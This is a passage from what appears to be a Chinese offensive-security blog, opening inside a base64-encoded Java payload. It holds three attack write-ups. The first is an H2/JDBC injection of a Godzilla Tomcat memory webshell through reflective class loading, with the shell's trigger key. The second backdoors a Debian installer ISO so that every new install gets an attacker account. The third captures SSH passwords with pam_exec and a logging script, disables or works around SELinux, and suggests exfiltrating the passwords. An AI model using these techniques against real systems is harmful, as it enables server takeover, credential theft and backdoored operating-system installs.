dwaGRtRjRMM05sY25ac1pYUXZVMlZ5ZG14bGRGSmxjWFZsYzNRN1RHcGhkbUY0TDNObGNuWnNaWFF2VTJWeWRteGxkRkpsYzNCdmJuTmxPeWxXQUNFQWlRQVJBQUVBaWdBRUFBQUFpd0NNQUFBQUFBQ05BSXdBQUFBQUFJNEFqQUFBQUFBQWp3Q1FBQUFBQ0FBQkFKRUFrZ0FCQUpNQUFBQkRBQUlBQVFBQUFCRXF0d0FCS2hJQ3RRQURLaElFdFFBRnNRQUFBQUlBbEFBQUFBNEFBd0FBQUJZQUJBQVlBQW9BR1FDVkFBQUFEQUFCQUFBQUVRQ1dBSmNBQUFBQkFKZ0FtUUFDQUpNQUFBQTFBQUFBQWdBQUFBR3hBQUFBQWdDVUFBQUFCZ0FCQUFBQUlBQ1ZBQUFBRmdBQ0FBQUFBUUNXQUpjQUFBQUFBQUVBbWdDYkFBRUFuQUFBQUFRQUFRQ2RBQWtBbmdDZkFBSUFrd0FBQVZVQUJnQUZBQUFBaEFGTUVnYTRBQWROTEJJSUFjQUFDYllBQ2l3QndBQUx0Z0FNVGkyMkFBMFNEZ1M5QUE5WkF4SVFVN1lBQ2kwRXZRQVJXUU1xVTdZQURNQUFFc0FBRXNBQUVreW5BRDlPRWhTNEFBZE5MTFlBRlRvRUdRUzJBQTBTRmdTOUFBOVpBeElRVTdZQUNoa0VCTDBBRVZrREtsTzJBQXpBQUJMQUFCTEFBQkpNcHdBRk9nUXJzQUFDQUFJQVF3QkdBQk1BUndCOUFJQUFFd0FEQUpRQUFBQXlBQXdBQUFBakFBSUFKd0FJQUNnQUd3QXBBRU1BTVFCR0FDb0FSd0FzQUUwQUxRQlRBQzRBZlFBd0FJQUFMd0NDQURNQWxRQUFBRWdBQndBYkFDZ0FvQUNoQUFNQUNBQStBS0lBa0FBQ0FGTUFLZ0NnQUtFQUJBQk5BRE1Bb2dDUUFBSUFSd0E3QUtNQXBBQURBQUFBaEFDbEFJd0FBQUFDQUlJQXBnQ25BQUVBcUFBQUFDa0FBLzhBUmdBQ0J3Q3BCd0FTQUFFSEFLci9BRGtBQkFjQXFRY0FFZ0FIQUtvQUFRY0FxdmtBQVFDY0FBQUFCQUFCQUJNQUNRQ3JBS3dBQWdDVEFBQUJTUUFHQUFVQUFBQjRBVXdTQnJnQUIwMHNFaGNCd0FBSnRnQUtMQUhBQUF1MkFBeE9MYllBRFJJWUJMMEFEMWtERWhKVHRnQUtMUVM5QUJGWkF5cFR0Z0FNd0FBUVRLY0FPVTRTR2JnQUIwMHN0Z0FWT2dRWkJMWUFEUklhQkwwQUQxa0RFaEpUdGdBS0dRUUV2UUFSV1FNcVU3WUFETUFBRUV5bkFBVTZCQ3V3QUFJQUFnQTlBRUFBRXdCQkFIRUFkQUFUQUFNQWxBQUFBRElBREFBQUFEY0FBZ0E3QUFnQVBBQWJBRDBBUFFCRkFFQUFQZ0JCQUVBQVJ3QkJBRTBBUWdCeEFFUUFkQUJEQUhZQVJ3Q1ZBQUFBU0FBSEFCc0FJZ0N0QUtFQUF3QUlBRGdBb2dDUUFBSUFUUUFrQUswQW9RQUVBRWNBTFFDaUFKQUFBZ0JCQURVQW93Q2tBQU1BQUFCNEFLVUFwd0FBQUFJQWRnQ21BSXdBQVFDb0FBQUFLUUFEL3dCQUFBSUhBQklIQUtrQUFRY0FxdjhBTXdBRUJ3QVNCd0NwQUFjQXFnQUJCd0NxK1FBQkFKd0FBQUFFQUFFQUV3QUJBSzRBcndBQkFKTUFBQURZQUFZQUJBQUFBQ3dTRzdnQUhFNHRISmtBQndTbkFBUUZ1d0FkV1NxMEFBTzJBQjRTRzdjQUg3WUFJQzBydGdBaHNFNEJzQUFCQUFBQUtBQXBBQk1BQXdDVUFBQUFGZ0FGQUFBQVRBQUdBRTBBSXdCT0FDa0FUd0FxQUZBQWxRQUFBRFFBQlFBR0FDTUFzQUN4QUFNQUtnQUNBTElBcEFBREFBQUFMQUNXQUpjQUFBQUFBQ3dBc3dDbkFBRUFBQUFzQUxRQXRRQUNBS2dBQUFBOEFBUC9BQThBQkFjQXRnY0FFZ0VIQUxjQUFRY0F0LzhBQUFBRUJ3QzJCd0FTQVFjQXR3QUNCd0MzQWY4QUdBQURCd0MyQndBU0FRQUJCd0NxQUFBQWpnQzRBQUVBa3dBQUFMUUFCQUFFQUFBQU1BRk5FaUs0QUNOT0xTdTJBQjRESzdZQUpMWUFKYnNBSmxrRUxiWUFKN2NBS0JBUXRnQXB0Z0FxVGFjQUJFNHNzQUFCQUFJQUtnQXRBQk1BQXdDVUFBQUFIZ0FIQUFBQVZBQUNBRmNBQ0FCWUFCVUFXUUFxQUZ3QUxRQmFBQzRBWFFDVkFBQUFLZ0FFQUFnQUlnQzBBTGtBQXdBQUFEQUFsZ0NYQUFBQUFBQXdBTE1BakFBQkFBSUFMZ0M2QUl3QUFnQ29BQUFBRmdBQy93QXRBQU1IQUxZSEFLa0hBS2tBQVFjQXFnQUFBUUM3QUx3QUFnQ1RBQUFJZHdBSEFCa0FBQVBZSzhBQUt6b0VMTUFBTERvRktpcTdBQzFadHdBdUtyUUFCYllBTHlxMEFBTzJBQysyQURDMkFERzFBRElaQkJJenVRQTBBZ0FTTmJZQU5wa0RrQmtFT2dZWkJUb0hHUVRCQURlYUFEVVNPQkk1QTcwQUQ3WUFDam9JR1FnWkJBTzlBQkcyQUF3NkJoa0d3UUEzbWdBVEdRZ1pCZ085QUJHMkFBdzZCcWYvNnhrRndRQTZtZ0ExRWpzU1BBTzlBQSsyQUFvNkNCa0lHUVVEdlFBUnRnQU1PZ2NaQjhFQU9wb0FFeGtJR1FjRHZRQVJ0Z0FNT2dlbi8rc1pCQkk5dVFBMEFnQVNQcllBTnBrQjdCa0V1UUEvQVFBU1FMWUFRWmtDODdzQVFsbTNBRU02Q3hrR3dBQTN0Z0JFT2d3WkN4SkZHUWEyQUVaWEdRc1NSeGtIdGdCR1Z4a0xFa2daRExZQVJsY1pCTGtBU1FFQXRnQktPZ29aQ3NZQUN4a0t0Z0JMbVFENEVrdzZDaGtHdGdBTkVrVzJBRTA2RFJrTkJMWUFUaGtOR1FhMkFFL0FBRkE2RGhrT3RnQU5FbEcyQUUwNkR4a1BCTFlBVGhrUEdRNjJBRS9BQUZJNkVCa1F0Z0JUT2hFWkViWUFEUkpVdGdCTk9oSVpFZ1MyQUU0WkVoa1J0Z0JQd0FCVk9oTVpFN1lBVnJrQVZ3RUFPaFFaRkxrQVdBRUFtUUI5R1JTNUFGa0JBTUFBV2pvVkdSVzVBRnNCQU1BQUVCSmNFbDIyQUY0NkZoa1Z1UUJmQVFEQUFHQTZGeGtYQTdZQVljQUFFRG9ZR1JlMkFHS2FBQnk3QUMxWnR3QXVHUXEyQUM4WkZyWUFMN1lBTURvS3B3QWp1d0F0V2JjQUxoa0t0Z0F2R1JhMkFDOFNZN1lBTHhrWXRnQXZ0Z0F3T2dxbi8zOFNaRG9OR1F3U1pSa051UUJtQXdBU0c3Z0FIRG9PR1E0RnV3QWRXUmtOdGdBZUVodTNBQisyQUNBU1o3Z0FCeEpvQnIwQUQxa0RFaEpUV1FTeUFHbFRXUVd5QUdsVHRnQnFPZzhaRHdTMkFHc1pEcnNBYkZtM0FHMFpDcllBYnJZQUlUb1FHUSs0QUcrMkFIQUd2UUFSV1FNWkVGTlpCQU80QUhGVFdRVVpFTDY0QUhGVHRnQU13QUFQT2hFWkViWUFGUmtMdGdCeVY2Y0JHUmtFRWoyNUFEUUNBQkp6dGdBMm1RRDFHUVFxdEFBRnVRQjBBZ0M0QUhVNkN5b1pDd08yQUhZNkN5cTBBSGZIQUdTN0FIaFpBNzBBZWJnQWI3WUFjTGNBZWpvSkVuc1NhQWE5QUE5WkF4SVNVMWtFc2dCcFUxa0ZzZ0JwVTdZQWFqb01HUXdFdGdCcktoa01HUWtHdlFBUldRTVpDMU5aQkFPNEFIRlRXUVVaQzc2NEFIRlR0Z0FNd0FBUHRRQjNwd0J4dXdCOFdiY0FmVG9NS3JRQWQ3WUFGVG9OR1EwWkRMWUFjbGNaRFJrTHRnQnlWeGtOR1FTMkFISlhHUVc1QUg0QkFDcTBBRElERUJDMkFIKzJBSUFaRGJZQWdWY1pCYmtBZmdFQUtoa010Z0NDQkxZQWRyZ0FnN1lBZ0JrRnVRQitBUUFxdEFBeUVCQzJBSVMyQUlDbkFCWVpCUktGRW9hNUFJY0RBQzByTExrQWlBTUFzYWNBQlRvR0xTc3N1UUNJQXdDeEFBRUFMQVBKQTgwQUV3QUVBSlFBQUFFNkFFNEFBQUJpQUFZQVl3QU1BR1FBTEFCbUFEMEFad0JCQUdnQVJRQnFBRTBBYXdCYUFHMEFmd0J4QUljQWNnQ1VBSFFBdVFCNkFNb0Fld0RaQUh3QTRnQjlBT3dBZmdEMkFIOEJBQUNBQVFvQWdRRVdBSUlCSXdDREFTY0FoQUV6QUlVQk9RQ0dBVVVBaHdGUkFJZ0JWd0NKQVdNQWlnRnFBSXNCZGdDTUFYd0FqUUdJQUk0QmxBQ1FBWjRBa1FHcUFKSUJ2UUNUQWNrQWxBSFVBSlVCM0FDV0FmVUFtQUlWQUpvQ0dBQ2RBaHdBbmdJbkFKOENMZ0NnQWtJQW9RSmpBS0lDYVFDakFud0FwQUtsQUtVQ3NBQ21Bck1BcHdMRUFLZ0MxQUNwQXQwQXFnTGtBS3NDOXdDc0F4VUFyUU1iQUs0RFFnQ3ZBMFVBc0FOT0FMRURWd0N5QTE4QXN3Tm5BTFFEYndDMUE0TUF0Z09KQUxjRG9BQzRBN01BdWdPMkFMc0R3UUM4QThrQXZ3UEtBTU1EelFEQkE4OEF4UVBYQU1ZQWxRQUFBV0FBSXdCYUFDVUF2UUMrQUFnQWxBQWxBTDBBdmdBSUFhb0Fhd0MvQU1JQUZRRzlBRmdBd3dDTUFCWUJ5UUJNQU1RQXhRQVhBZFFBUVFER0FJd0FHQUV6QU9VQXh3RElBQTBCUlFEVEFNa0F5Z0FPQVZFQXh3RExBTWdBRHdGakFMVUF6QUROQUJBQmFnQ3VBTTRBendBUkFYWUFvZ0RRQU1nQUVnR0lBSkFBMFFEU0FCTUJsQUNFQU5NQTFBQVVBT0lCemdEVkFOWUFDd0RzQWNRQTF3RFlBQXdDSEFDVUFOa0FqQUFOQWk0QWdnQ3dBTEVBRGdKakFFMEEyZ0MrQUE4Q2ZBQTBBTnNBcHdBUUFxVUFDd0RjQUpBQUVRRVdBWjBBandDTUFBb0RGUUF0QU4wQXZnQU1BdmNBVGdEZUFOOEFDUU5PQUdVQTRBRGhBQXdEVndCY0FPSUFvUUFOQXRRQTN3RGpBS2NBQ3dCQkE0a0E1QUNoQUFZQVJRT0ZBT1VBb1FBSEFBQUQyQUNXQUpjQUFBQUFBOWdBNWdEbkFBRUFBQVBZQU9nQTZRQUNBQUFEMkFEcUFPc0FBd0FHQTlJQTdBRHRBQVFBREFQTUFPNEE3d0FGQVBBQUFBQVdBQUlCcWdCckFMOEE4UUFWQWNrQVRBREVBUElBRndDb0FBQUJ3d0FSL3dCbkFBa0hBTFlIQVBNSEFQUUhBUFVIQVBZSEFQY0hBUGdIQVBnSEFQa0FBUG9BRi93QUlRY0ErZm9BRi84QWFRQU5Cd0MyQndEekJ3RDBCd0QxQndEMkJ3RDNCd0Q0QndENEFBQUhBS2tIQVBvSEFQc0FBUDhBY0FBVkJ3QzJCd0R6QndEMEJ3RDFCd0QyQndEM0J3RDRCd0Q0QUFBSEFLa0hBUG9IQVBzSEFQd0hBUDBIQVB3SEFQNEhBUDhIQVB3SEFRQUhBUUVBQVA4QVlBQVpCd0MyQndEekJ3RDBCd0QxQndEMkJ3RDNCd0Q0QndENEFBQUhBS2tIQVBvSEFQc0hBUHdIQVAwSEFQd0hBUDRIQVA4SEFQd0hBUUFIQVFFSEFRSUhBS2tIQVFNSEFLa0FBUDhBSHdBVkJ3QzJCd0R6QndEMEJ3RDFCd0QyQndEM0J3RDRCd0Q0QUFBSEFLa0hBUG9IQVBzSEFQd0hBUDBIQVB3SEFQNEhBUDhIQVB3SEFRQUhBUUVBQVA4QUFnQU5Cd0MyQndEekJ3RDBCd0QxQndEMkJ3RDNCd0Q0QndENEFBQUhBS2tIQVBvSEFQc0FBUDhBbWdBSUJ3QzJCd0R6QndEMEJ3RDFCd0QyQndEM0J3RDRCd0Q0QUFEL0FKRUFEQWNBdGdjQTh3Y0E5QWNBOVFjQTlnY0E5d2NBK0FjQStBQUFBQWNBRWdBQS93QnRBQWdIQUxZSEFQTUhBUFFIQVBVSEFQWUhBUGNIQVBnSEFQZ0FBQUlTK1FBQVFnY0FxZ0VBbkFBQUFBWUFBZ0VFQUowQUFRRUZBSklBQVFDVEFBQUFLd0FBQUFFQUFBQUJzUUFBQUFJQWxBQUFBQVlBQVFBQUFNc0FsUUFBQUF3QUFRQUFBQUVBbGdDWEFBQUFBZ0VHQUFBQUFnRUhBTUVBQUFBS0FBRUFXZ0ZmQU1BR0NRPT0MAWABYQwBYgFjBwFkDAFlASQBABxHb2R6aWxsYVRvbWNhdEZpbHRlck1lbXNoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcBZgEAKGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uJER5bmFtaWMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAhuYW5vVGltZQEAAygpSgEAHChKKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABVnZXRGaWx0ZXJSZWdpc3RyYXRpb24BADYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbjsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgEAIm9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGUBAA1TVEFSVElOR19QUkVQAQAkTG9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGU7AQADc2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEACWxvYWRDbGFzcwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlhZGRGaWx0ZXIBAFQoTGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvRmlsdGVyOylMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYzsBABBzZXRJbml0UGFyYW1ldGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylaAQARc2V0QXN5bmNTdXBwb3J0ZWQBABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwEAEWphdmEvdXRpbC9FbnVtU2V0AQACb2YBACUoTGphdmEvbGFuZy9FbnVtOylMamF2YS91dGlsL0VudW1TZXQ7AQAYYWRkTWFwcGluZ0ZvclVybFBhdHRlcm5zAQAqKExqYXZhL3V0aWwvRW51bVNldDtaW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAHU1RBUlRFRAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEACWdldE1ldGhvZAEAEGVxdWFsc0lnbm9yZUNhc2UBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEADWdldFN0YWNrVHJhY2UBACAoKVtMamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50OwEAG2phdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudAEADGdldENsYXNzTmFtZQEAIGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uACEAYgBjAAAAAgAKAGQAZQAAAAoAZgBnAAAABwABAGgAaQABAGoAAABBAAEAAQAAAAsqtwABuAACuAADsQAAAAIAawAAABIABAAAABgABAAZAAcAGgAKABsAbAAAAAwAAQAAAAsAbQBuAAAAKgBvAGkAAQBqAAAEUgAHAA4AAAHduwAEWbcABRIGtgAHuAAItgAJtgAKswALsgAMxwAJuAANswAMsgAMxgGtEg64AA9LAUyyAAyyAAu5ABACAMcBlyvHAD2yAAy2ABESErYAE00sBLYAFCyyAAy2ABVOLcEAFpkADS3AABazAAynABAqLbYAEbYAF5kABS1Mp//FK8YBVRIYEh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";
        Class clazz;
        byte[] evil = new byte[0];
        try {
            clazz = Class.forName("sun.misc.BASE64Decoder");
            evil = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), Base64Class);
        } catch (Exception ignored) {
            throw new RuntimeException(ignored);
        }


        try {
            java.lang.reflect.Method defineClass = null;
            defineClass = ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);

            defineClass.setAccessible(true);
            Class TomcatMemShellInject = null;

            TomcatMemShellInject = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),evil,0,evil.length);
            TomcatMemShellInject.newInstance();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
return "";
}
$$;

默认gsl key,使用的时候需要在header添加 Cache-Control: RaidEnMei

1.png

2.png

Tags: java, 内存马, h2, jdbc

如何制作一个恶意linux安装镜像

前言

打下基础设施,比如vcenter/kvm或者什么云管平台后台,再或者比如控了个什么NAS。想要进行后续控制,新安装一台再手动控制一台肯定是不行的。有没有个办法感染了它们的ISO,后续它们新安装一台就中我们的马一次呢?

得益于linux的开源属性,我们当然能直接自己构建一个linux-installer,但是从零构建太花时间了,我们直接用一个快速的解决方案来对iso进行加料

操作

按照debian发行版为例,安装流程如下,安装程序实际运行的是目录下的install.amd里的initrd.gz镜像
1.png
其中,使用图形化脚本安装的是使用gtk文件夹下的initrd.gz,使用命令行则是用xen目录下,两个initrd.gz没有太大区别

我们仔细分析initrd.gz,发现是一个gz文件和一个cpio文件,打开能很轻松的看到文件目录

2.png

加料

首先先解压initrd.gz,直接

gunzip initrd.gz

我们就获得了initrd这个cpio文件
然后使用命令

cpio -idm -D target < initrd

解压到目录target文件夹。

之后我们进入文件夹,写入helloworld.txt

3.png

然后再反向操作进行打包,使用命令

find . | cpio -o -H newc > ../initrd
cd ..
gzip initrd

这样就得到回initrd.gz文件了,然后再使用ultraISO把debian安装脚本的gtk/xen中的initrd.gz文件替换

然后挂载启动我们的安装脚本,在图形界面按下ctrl+alt+F2进入tty,就能在文件系统里看到我们的helloworld.txt了

4.png

恶意负载

我们成功达成了修改安装程序,之后就是进行加料。通过分析发现,安装程序是把我们磁盘挂载到/target目录,然后进行写入基础系统的操作。我们只需要在安装程序结束之后,对/target目录下的文件系统写入我们的负载即可达成我们想要的目标

如何判断安装程序结束呢?好在查看文档之后我发现了它自带HOOK,查看官方文档

https://salsa.debian.org/installer-team/debian-installer/-/blob/master/doc/devel/internals/available-hooks.xml

/usr/lib/finish-install.d/* [finish-install]
此目录中的文件将在安装结束时执行。

因此我们直接在该目录添加我们的脚本

5.png

注意要小于95,因为95是umount卸载目标了,没办法写入。所以要在此之前就进行操作
6.png
当系统安装完成后,就可以看到我们的账户成功加入进去了

7.png

最后

成功做到了一个加用户的操作后,后续更多的玩法就不用说了,这个操作写入文件之后甚至不需要重启,因为默认就是第一次启动

轻松的达到了出厂就带后门的效果,简单的效果就是写rc启动项,复杂点就是写内核模块玩rootkit,再复杂点甚至上bootkit都可以。这些就看各位自己操作了。

Tags: linux, 后门, apt

PAM_EXEC 不用第三方应用和重启抓取ssh密码

前言

从老外那新学一招:https://www.youtube.com/watch?v=FQGu9jarCWY

开始

先说优点,系统自带不安装第三方应用,不用重启,和strace方法相比不会生成过大的文件,能自动清理自身不留痕迹,能远程发送

缺点:要临时关闭selinux

pam_exec.so是系统自带的详细自己查看文档就行,然后如果我们要记录密码呢,只需要在/etc/pam.d/sshd的第一行,加上

auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh

1.png

其中最后执行脚本的路径可以换,一定要放在第一行,有处理的优先级问题

然后在/tmp/sshd.sh里写上语句

#!/bin/sh

echo "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log

还要记住一定要设置所有用户得可执行权限!!! chmod 777 /tmp/sshd.sh或者chmod u+x /tmp/sshd.sh,不然也会执行失败
然后连接ssh到我们自己,就可以抓到密码辣

2.png

能写bash这下玩法就多了,比如curl/dns发送密码,抓到密码自动删除等等

当然这会有两个问题,一个是默认要关闭selinux,不然抓不到

问题一: selinux

当你修改完上面问题之后发现不生效,可以查看/var/log/secure

会发现如下内容
3.png

这时候需要执行setenforce 0临时关闭selinux才可以执行抓脚本的密码

如果担心被发现可以在上面脚本最后加上setenforce 1,抓到密码后恢复selinux状态

不过这样不太稳妥,可能会有EDR监控关闭selinux的行为,我们一关就告警。

还有一种方案就是修改selinux规则,在我们修改完规则之后,使用

audit2allow -a
audit2allow -a -M local
semodule -i local.pp

来修改selinux规则,但是有些发行版默认不带audit2allow,所以自行取舍

问题二:判断密码正确

默认这个方案是扫描所有密码然后储存,无法区分哪个是正确哪个是错误。

